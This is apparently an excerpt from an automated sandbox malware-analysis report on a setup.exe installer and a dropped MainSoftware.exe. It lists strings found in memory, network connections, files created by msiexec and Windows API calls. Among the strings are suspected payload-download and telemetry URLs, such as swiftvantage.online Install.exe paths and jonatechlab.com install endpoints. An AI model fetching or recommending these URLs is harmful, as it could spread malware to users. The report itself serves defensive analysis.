Source: setup.exe, 00000000.00000003.1996568847.000000000C890000.00000004.00000020.00020000.00000000.sdmp, MainSoftware.exe, 00000013.00000002.2486648118.0000020F34A73000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2486648118.0000020F34911000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2486229465.0000020F3447E000.00000002.00000001.00040000.0000000A.sdmp	String found in binary or memory: https://aka.ms/dotnet-illink/com
Source: setup.exe, 00000000.00000003.1996568847.000000000C890000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/dotnet-illink/com)
Source: setup.exe, 00000000.00000003.1996568847.000000000C890000.00000004.00000020.00020000.00000000.sdmp, MainSoftware.exe, 00000013.00000002.2486648118.0000020F34A73000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2486648118.0000020F34911000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2486229465.0000020F3447E000.00000002.00000001.00040000.0000000A.sdmp	String found in binary or memory: https://aka.ms/dotnet-illink/nativehost
Source: MainSoftware.exe, 00000013.00000002.2486648118.0000020F34A73000.00000020.00000001.00040000.0000000A.sdmp	String found in binary or memory: https://aka.ms/dotnet-illink/nativehostt
Source: MainSoftware.exe, 00000013.00000002.2488782180.0000020F372E1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2489694248.0000020F37641000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2485552514.000001CE9F8C9000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2489017313.0000020F373F1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2489300922.0000020F37515000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2503502815.0000020F3A671000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2503365504.0000020F3A657000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000018.00000002.2539907807.00000164700D9000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000018.00000002.2575358447.000001A50AD5A000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000018.00000002.2575095760.000001A50ACF1000.00000020.00000001.00040000.0000000A.sdmp	String found in binary or memory: https://aka.ms/dotnet-warnings/
Source: setup.exe, 00000000.00000003.1996568847.000000000BD1E000.00000004.00000020.00020000.00000000.sdmp, MainSoftware.exe, 00000013.00000002.2517588700.00007FF73624D000.00000002.00000001.01000000.0000000A.sdmp, MainSoftware.exe, 00000013.00000000.2458595284.00007FF73624D000.00000002.00000001.01000000.0000000A.sdmp, MainSoftware.exe, 00000018.00000000.2467569570.00007FF73624D000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://aka.ms/dotnet/app-launch-failed
Source: setup.exe, 00000000.00000003.1996568847.000000000BD1E000.00000004.00000020.00020000.00000000.sdmp, MainSoftware.exe, 00000013.00000002.2517588700.00007FF73624D000.00000002.00000001.01000000.0000000A.sdmp, MainSoftware.exe, 00000013.00000000.2458595284.00007FF73624D000.00000002.00000001.01000000.0000000A.sdmp, MainSoftware.exe, 00000018.00000000.2467569570.00007FF73624D000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://aka.ms/dotnet/download
Source: setup.exe, 00000000.00000003.1996568847.000000000BD1E000.00000004.00000020.00020000.00000000.sdmp, MainSoftware.exe, 00000013.00000002.2517588700.00007FF73624D000.00000002.00000001.01000000.0000000A.sdmp, MainSoftware.exe, 00000013.00000000.2458595284.00007FF73624D000.00000002.00000001.01000000.0000000A.sdmp, MainSoftware.exe, 00000018.00000000.2467569570.00007FF73624D000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://aka.ms/dotnet/download%s%sInstall
Source: setup.exe, 00000000.00000003.1996568847.000000000BD1E000.00000004.00000020.00020000.00000000.sdmp, MainSoftware.exe, 00000013.00000002.2517588700.00007FF73624D000.00000002.00000001.01000000.0000000A.sdmp, MainSoftware.exe, 00000013.00000000.2458595284.00007FF73624D000.00000002.00000001.01000000.0000000A.sdmp, MainSoftware.exe, 00000018.00000000.2467569570.00007FF73624D000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://aka.ms/dotnet/info
Source: setup.exe, 00000000.00000003.1996568847.000000000BD1E000.00000004.00000020.00020000.00000000.sdmp, MainSoftware.exe, 00000013.00000002.2517588700.00007FF73624D000.00000002.00000001.01000000.0000000A.sdmp, MainSoftware.exe, 00000013.00000000.2458595284.00007FF73624D000.00000002.00000001.01000000.0000000A.sdmp, MainSoftware.exe, 00000018.00000000.2467569570.00007FF73624D000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://aka.ms/dotnet/sdk-not-foundProbing
Source: MainSoftware.exe, 00000013.00000002.2486229465.0000020F3447E000.00000002.00000001.00040000.0000000A.sdmp	String found in binary or memory: https://aka.ms/nativeaot-compatibility
Source: setup.exe, 00000000.00000003.2596043175.0000000008375000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://datashieldsecure.com/amz/?
Source: setup.exe, 00000000.00000003.1749852954.00000000083DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1754878154.0000000005528000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1926971992.0000000005461000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.2563773161.00000000054A0000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.2563971946.00000000054B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://datashieldsecure.com/amz/?source_id=1
Source: setup.exe, 00000000.00000003.1996568847.000000000C6C1000.00000004.00000020.00020000.00000000.sdmp, MainSoftware.exe, 00000013.00000002.2485250859.000001CE9F760000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2485737833.000001CE9F921000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2487246699.0000020F35279000.00000002.00000001.00040000.0000000A.sdmp	String found in binary or memory: https://github.com/FantasticFiasco/serilog-sinks-http.git
Source: setup.exe, 00000000.00000003.1996568847.000000000C80C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/dot
Source: setup.exe, 00000000.00000003.1996568847.000000000C727000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1996568847.000000000CB33000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1996568847.000000000C6EA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1996568847.000000000C6F8000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1996568847.000000000C83C000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1996568847.000000000C741000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1996568847.000000000C6F1000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1996568847.000000000C73C000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1996568847.000000000C74D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1996568847.000000000C870000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1996568847.000000000C7F6000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1996568847.000000000CAE9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1996568847.000000000C772000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1996568847.000000000C821000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1996568847.000000000C549000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1996568847.000000000CB85000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1996568847.000000000CB1B000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1996568847.000000000C6D0000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1996568847.000000000CAFE000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1996568847.000000000C6FE000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1996568847.000000000C763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/dotnet/runtime
Source: MainSoftware.exe, 00000013.00000002.2486648118.0000020F34911000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2486229465.0000020F3447E000.00000002.00000001.00040000.0000000A.sdmp	String found in binary or memory: https://github.com/dotnet/runtime/blob/bbc898f3e5678135b242faeb6eefd8b24bf04f3c/src/native/corehost/
Source: MainSoftware.exe, 00000013.00000002.2486648118.0000020F34911000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2486229465.0000020F3447E000.00000002.00000001.00040000.0000000A.sdmp	String found in binary or memory: https://github.com/dotnet/runtime/issues/71847
Source: MainSoftware.exe, 00000013.00000002.2488855338.0000020F373A7000.00000002.00000001.00040000.0000000A.sdmp	String found in binary or memory: https://github.com/dotnet/runtimeE
Source: MainSoftware.exe, 00000013.00000002.2490110262.0000020F37755000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000018.00000002.2555282561.000001A507DF5000.00000002.00000001.00040000.0000000A.sdmp	String found in binary or memory: https://github.com/dotnet/runtimeGk
Source: MainSoftware.exe, 00000013.00000002.2490110262.0000020F37759000.00000002.00000001.00040000.0000000A.sdmp	String found in binary or memory: https://github.com/dotnet/runtimet
Source: MainSoftware.exe, 00000013.00000002.2486648118.0000020F34911000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2486229465.0000020F3447E000.00000002.00000001.00040000.0000000A.sdmp	String found in binary or memory: https://github.com/mono/linker/issues/378
Source: MainSoftware.exe, 00000013.00000002.2486648118.0000020F34911000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2486229465.0000020F3447E000.00000002.00000001.00040000.0000000A.sdmp	String found in binary or memory: https://github.com/mono/linker/pull/649
Source: setup.exe, 00000000.00000003.1996568847.000000000C6AB000.00000004.00000020.00020000.00000000.sdmp, MainSoftware.exe, 00000013.00000002.2485427774.000001CE9F7A0000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2487213233.0000020F35241000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2487133129.0000020F3520D000.00000002.00000001.00040000.0000000A.sdmp	String found in binary or memory: https://github.com/serilog/serilog
Source: setup.exe, 00000000.00000003.1996568847.000000000C6BC000.00000004.00000020.00020000.00000000.sdmp, MainSoftware.exe, 00000013.00000002.2485427774.000001CE9F7A8000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2485674994.000001CE9F911000.00000020.00000001.00040000.0000000A.sdmp	String found in binary or memory: https://github.com/serilog/serilog-formatting-compact
Source: MainSoftware.exe, 00000013.00000002.2487246699.0000020F35270000.00000002.00000001.00040000.0000000A.sdmp	String found in binary or memory: https://github.com/serilog/serilog-sinks-file
Source: MainSoftware.exe, 00000013.00000002.2487246699.0000020F35270000.00000002.00000001.00040000.0000000A.sdmp	String found in binary or memory: https://github.com/serilog/serilog-sinks-fileC
Source: MainSoftware.exe, 00000013.00000002.2485317241.000001CE9F771000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2485250859.000001CE9F767000.00000002.00000001.00040000.0000000A.sdmp	String found in binary or memory: https://jonatechlab.com%/install/getfiles/
Source: MainSoftware.exe, 00000013.00000002.2486990654.0000020F34DA0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://jonatechlab.com/install/new
Source: MainSoftware.exe, 00000013.00000002.2485317241.000001CE9F771000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2485250859.000001CE9F767000.00000002.00000001.00040000.0000000A.sdmp	String found in binary or memory: https://jonatechlab.com/install/whattoinstall/Ghttps://jonatechlab.com/install/new
Source: MainSoftware.exe, 00000013.00000002.2486990654.0000020F34DA0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://jonatechlab.com/logs/telemetry
Source: MainSoftware.exe, 00000013.00000002.2485317241.000001CE9F771000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2485250859.000001CE9F767000.00000002.00000001.00040000.0000000A.sdmp	String found in binary or memory: https://jonatechlab.com/logs/telemetry-MyPersistentApp_Hourly
Source: MainSoftware.exe, 00000013.00000002.2485317241.000001CE9F771000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2485250859.000001CE9F767000.00000002.00000001.00040000.0000000A.sdmp	String found in binary or memory: https://jonatechlab.comH123e4567-e89b-12d3-a456-426614174000
Source: setup.exe, 00000000.00000003.1749852954.00000000083DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.2603804629.0000000008340000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1926971992.0000000005461000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swiftvantage.online/tools/files/dc657fbe-5659-47ad-b5f6-05fa4c901173/msi/Install.exe
Source: setup.exe, 00000000.00000003.1748683968.00000000098C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://swiftvantage.online/tools/files/dc657fbe-5659-47ad-b5f6-05fa4c901173/msi/Install.exe1Surfclu
Source: setup.exe, 00000006.00000002.2567845935.0000000005436000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.2564836011.0000000005433000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swiftvantage.online/tools/files/dc657fbe-5659-47ad-b5f6-05fa4c901173/msi/Install.exeq
Source: setup.exe, 00000006.00000002.2567845935.0000000005436000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.2564836011.0000000005433000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swiftvantage.online/tools/files/dc657fbe-5659-47ad-b5f6-05fa4c901173/msi/Surfclub.pkg4
Source: setup.exe, 00000000.00000003.2564713821.00000000083CF000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.2605517591.00000000083CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swiftvantage.online/tools/files/dc657fbe-5659-47ad-b5f6-05fa4c901173/msi/Surfclub.pkgxQT
Source: setup.exe, 00000000.00000003.1996568847.000000000D2D5000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2597657389.00000000083E5000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1751218628.00000000083F7000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.2608319609.000000000A4C0000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2564713821.00000000083CF000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1996568847.000000000BD1E000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1748683968.0000000009A2F000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000000.00000002.2605582020.00000000083E6000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1750853345.00000000083ED000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000002.2567845935.0000000005436000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000002.2568114439.0000000005481000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.2563437302.0000000008D89000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1928388556.0000000005460000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000002.2569973733.00000000056E5000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1928520911.0000000005460000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1928720841.0000000005460000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000002.2571370950.0000000008D90000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.2565300514.0000000008D8F000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.2564836011.0000000005433000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1928865644.0000000005460000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.2564436089.0000000005480000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ssl.com/repository0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987

Source: unknown	HTTPS traffic detected: 172.67.183.127:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.6.210:443 -> 192.168.2.4:49892 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.6.210:443 -> 192.168.2.4:49902 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.183.127:443 -> 192.168.2.4:49937 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.59.228:443 -> 192.168.2.4:49945 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.183.127:443 -> 192.168.2.4:49962 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49977 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.183.127:443 -> 192.168.2.4:49987 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49999 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.59.228:443 -> 192.168.2.4:50008 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:50016 version: TLS 1.2

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_004515F0 SendMessageW,GetParent,GetWindowRect,GetParent,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,MapWindowPoints,FillRect,DeleteDC,SendMessageW,SendMessageW,

0_2_004515F0

Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_004C2A40 NtdllDefWindowProc_W,	0_2_004C2A40
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00328020 GetWindowLongW,GetWindowLongW,SetWindowLongW,NtdllDefWindowProc_W,GetWindowLongW,NtdllDefWindowProc_W,GetWindowTextLengthW,GetWindowTextW,SetWindowTextW,GlobalAlloc,GlobalLock,GlobalUnlock,SetWindowLongW,NtdllDefWindowProc_W,	0_2_00328020
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_003A4640 GetWindowLongW,SetWindowLongW,NtdllDefWindowProc_W,	0_2_003A4640
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_003287F0 SysFreeString,SysAllocString,GetWindowLongW,GetWindowLongW,SetWindowLongW,NtdllDefWindowProc_W,GetWindowLongW,GetWindowTextLengthW,GetWindowTextW,SetWindowTextW,GlobalAlloc,GlobalLock,GlobalUnlock,SetWindowLongW,SysFreeString,SysFreeString,	0_2_003287F0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00328EA0 NtdllDefWindowProc_W,GetSysColor,	0_2_00328EA0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00332FC0 NtdllDefWindowProc_W,	0_2_00332FC0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00341040 NtdllDefWindowProc_W,	0_2_00341040
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_0032B0A0 GetWindowLongW,SetWindowLongW,NtdllDefWindowProc_W,DestroyWindow,	0_2_0032B0A0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00333130 IsWindow,GetWindowLongW,SetWindowLongW,NtdllDefWindowProc_W,	0_2_00333130
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_0034F3F0 NtdllDefWindowProc_W,	0_2_0034F3F0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_0040F470 NtdllDefWindowProc_W,	0_2_0040F470
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_0033B650 KillTimer,GetWindowLongW,SetWindowLongW,NtdllDefWindowProc_W,DeleteCriticalSection,	0_2_0033B650
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_0032B890 NtdllDefWindowProc_W,	0_2_0032B890
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_0032BEF0 NtdllDefWindowProc_W,	0_2_0032BEF0
Source: C:\Users\user\Desktop\setup.exe	Code function: 6_2_00328020 NtdllDefWindowProc_W,NtdllDefWindowProc_W,GlobalAlloc,GlobalLock,GlobalUnlock,NtdllDefWindowProc_W,	6_2_00328020
Source: C:\Users\user\Desktop\setup.exe	Code function: 6_2_00341040 NtdllDefWindowProc_W,	6_2_00341040
Source: C:\Users\user\Desktop\setup.exe	Code function: 6_2_0032B0A0 NtdllDefWindowProc_W,	6_2_0032B0A0
Source: C:\Users\user\Desktop\setup.exe	Code function: 6_2_00333130 NtdllDefWindowProc_W,	6_2_00333130
Source: C:\Users\user\Desktop\setup.exe	Code function: 6_2_0034F3F0 NtdllDefWindowProc_W,	6_2_0034F3F0
Source: C:\Users\user\Desktop\setup.exe	Code function: 6_2_0040F470 NtdllDefWindowProc_W,	6_2_0040F470
Source: C:\Users\user\Desktop\setup.exe	Code function: 6_2_0033B650 NtdllDefWindowProc_W,DeleteCriticalSection,	6_2_0033B650
Source: C:\Users\user\Desktop\setup.exe	Code function: 6_2_003A4640 NtdllDefWindowProc_W,	6_2_003A4640
Source: C:\Users\user\Desktop\setup.exe	Code function: 6_2_0032B890 NtdllDefWindowProc_W,	6_2_0032B890
Source: C:\Users\user\Desktop\setup.exe	Code function: 6_2_00328EA0 NtdllDefWindowProc_W,	6_2_00328EA0
Source: C:\Users\user\Desktop\setup.exe	Code function: 6_2_0032BEF0 NtdllDefWindowProc_W,	6_2_0032BEF0
Source: C:\Users\user\Desktop\setup.exe	Code function: 6_2_00332FC0 NtdllDefWindowProc_W,	6_2_00332FC0

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\6e40ab.msi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI4251.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI42FE.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI433D.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI437D.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\SourceHash{67AEF7BA-A109-4700-BE3F-0231069B1923}	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI5F91.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI5FC1.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6001.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI608E.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6C09.tmp	Jump to behavior

Source: C:\Windows\System32\msiexec.exe

File deleted: C:\Windows\Installer\MSI4251.tmp

Jump to behavior

Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838CD2C	0_3_0838CD2C
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838CD2C	0_3_0838CD2C
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838CD2C	0_3_0838CD2C
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838CD2C	0_3_0838CD2C
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DC21	0_3_0838DC21
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DC21	0_3_0838DC21
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DC21	0_3_0838DC21
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DC21	0_3_0838DC21
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DB40	0_3_0838DB40
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DB40	0_3_0838DB40
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DB40	0_3_0838DB40
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DB40	0_3_0838DB40
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DEBF	0_3_0838DEBF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DEBF	0_3_0838DEBF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DEBF	0_3_0838DEBF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DEBF	0_3_0838DEBF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DDA9	0_3_0838DDA9
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DDA9	0_3_0838DDA9
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DDA9	0_3_0838DDA9
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838DDA9	0_3_0838DDA9
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838ADAA	0_3_0838ADAA
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838ADAA	0_3_0838ADAA
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838ADAA	0_3_0838ADAA
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838ADAA	0_3_0838ADAA
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838D986	0_3_0838D986
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838D986	0_3_0838D986
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838D986	0_3_0838D986
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838D986	0_3_0838D986
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838D9F0	0_3_0838D9F0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838D9F0	0_3_0838D9F0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838D9F0	0_3_0838D9F0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838D9F0	0_3_0838D9F0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0838CDEF	0_3_0838CDEF
